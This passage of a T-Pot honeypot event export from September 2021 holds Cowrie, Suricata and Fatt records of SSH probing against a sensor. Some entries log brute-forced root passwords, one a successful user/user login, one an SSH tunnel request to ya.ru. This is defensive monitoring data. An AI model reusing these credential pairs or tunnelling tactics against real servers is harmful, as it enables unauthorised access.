"2021-09-20T11:30:26.983765Z", "@timestamp": "2021-09-20T11:30:26.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29863	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:30:28.258221+03	2021-09-20 14:45:02.266143+03	{"_id": "0Ab4AnwBvYTbRNuEvTic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/33893389] failed", "session": "13f4b75de192", "@version": "1", "password": "33893389", "username": "root", "timestamp": "2021-09-20T11:30:28.258221Z", "@timestamp": "2021-09-20T11:30:28.258Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29864	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:30:29.00037+03	2021-09-20 14:45:02.268141+03	{"_id": "0wb4AnwBvYTbRNuEwzgt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:29:27.432596+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1443439465437652, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 60150, "timestamp": "2021-09-20T11:30:29.000370Z", "@timestamp": "2021-09-20T11:30:29.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29866	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:30:12.506662+03	2021-09-20 14:45:02.271142+03	{"_id": "rQb4AnwBvYTbRNuEgjj8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "851689264013", "@version": "1", "duration": 1.9123783111572266, "timestamp": "2021-09-20T11:30:12.506662Z", "@timestamp": "2021-09-20T11:30:12.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29867	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:30:13.618616+03	2021-09-20 14:45:02.272143+03	{"_id": "rwb4AnwBvYTbRNuEhjjl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "acb8c44ea492", "@version": "1", "duration": 4.703160524368286, "timestamp": "2021-09-20T11:30:13.618616Z", "@timestamp": "2021-09-20T11:30:13.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29868	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:30:27.927118+03	2021-09-20 14:45:02.273142+03	{"_id": "0Qb4AnwBvYTbRNuEvTic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ae5b921192a5", "@version": "1", "duration": 2.849900007247925, "timestamp": "2021-09-20T11:30:27.927118Z", "@timestamp": "2021-09-20T11:30:27.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29869	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:30:12.367447+03	2021-09-20 14:45:02.275142+03	{"_id": "rgb4AnwBvYTbRNuEgjj8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "acb8c44ea492", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:30:12.367447Z", "@timestamp": "2021-09-20T11:30:12.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
29870	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:30:12.999104+03	2021-09-20 14:45:02.276142+03	{"_id": "rAb4AnwBvYTbRNuEgjj8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "ya.ru", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ya.ru:80 from 0.0.0.0:0", "session": "acb8c44ea492", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:30:12.999104Z", "@timestamp": "2021-09-20T11:30:12.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
29871	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:31:09.20644+03	2021-09-20 14:45:02.277142+03	{"_id": "EAb5AnwBvYTbRNuEYDmi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39346, "dest_port": 22, "timestamp": "2021-09-20T11:31:09.206440", "@timestamp": "2021-09-20T11:31:09.206Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29872	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:10.262603+03	2021-09-20 14:45:02.278143+03	{"_id": "Fgb5AnwBvYTbRNuEYTm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [root/adminserver] failed", "session": "f1f86e828b65", "@version": "1", "password": "adminserver", "username": "root", "timestamp": "2021-09-20T11:31:10.262603Z", "@timestamp": "2021-09-20T11:31:10.262Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29873	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:10.149038+03	2021-09-20 14:45:02.280142+03	{"_id": "HAb5AnwBvYTbRNuEZDmM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48388, "timestamp": "2021-09-20T11:31:10.149038", "@timestamp": "2021-09-20T11:31:10.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29874	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:31:10.52824+03	2021-09-20 14:45:02.281141+03	{"_id": "Igb5AnwBvYTbRNuEZTmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d6ada29ca110", "@version": "1", "timestamp": "2021-09-20T11:31:10.528240Z", "@timestamp": "2021-09-20T11:31:10.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29875	14.29.64.91	109.199.241.180	Suricata	2021-09-20 14:30:43.000385+03	2021-09-20 14:45:02.282141+03	{"_id": "JAb5AnwBvYTbRNuEZzlO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:26:47.411320+0000", "pkts_toclient": 10, "pkts_toserver": 4, "bytes_toclient": 691, "bytes_toserver": 1248}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "14.29.64.91", "asn": 4134, "as_org": "Chinanet", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "city_name": "Guangzhou", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "14.29.64.91", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 544979541247672, "@version": "1", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 50840, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:30:43.000385Z", "@timestamp": "2021-09-20T11:30:43.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
29876	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:30:39.188936+03	2021-09-20 14:45:02.283141+03	{"_id": "6wb4AnwBvYTbRNuE6jhB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:30:38.493496+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1584810466117560, "payload": "AAADzAYUgJiFibAdeYUgK6x5SZHHIQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3736, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:30:39.188936Z", "@timestamp": "2021-09-20T11:30:39.188Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............y. +.yI..!...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29883	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:31:12.137977+03	2021-09-20 14:45:02.293142+03	{"_id": "Mgb5AnwBvYTbRNuEaTmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [root/pulatazxdc!@#$%] failed", "session": "d6ada29ca110", "@version": "1", "password": "pulatazxdc!@#$%", "username": "root", "timestamp": "2021-09-20T11:31:12.137977Z", "@timestamp": "2021-09-20T11:31:12.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29877	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:30:39.188936+03	2021-09-20 14:45:02.285141+03	{"_id": "7Ab4AnwBvYTbRNuE6zhs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3736, "dest_port": 22, 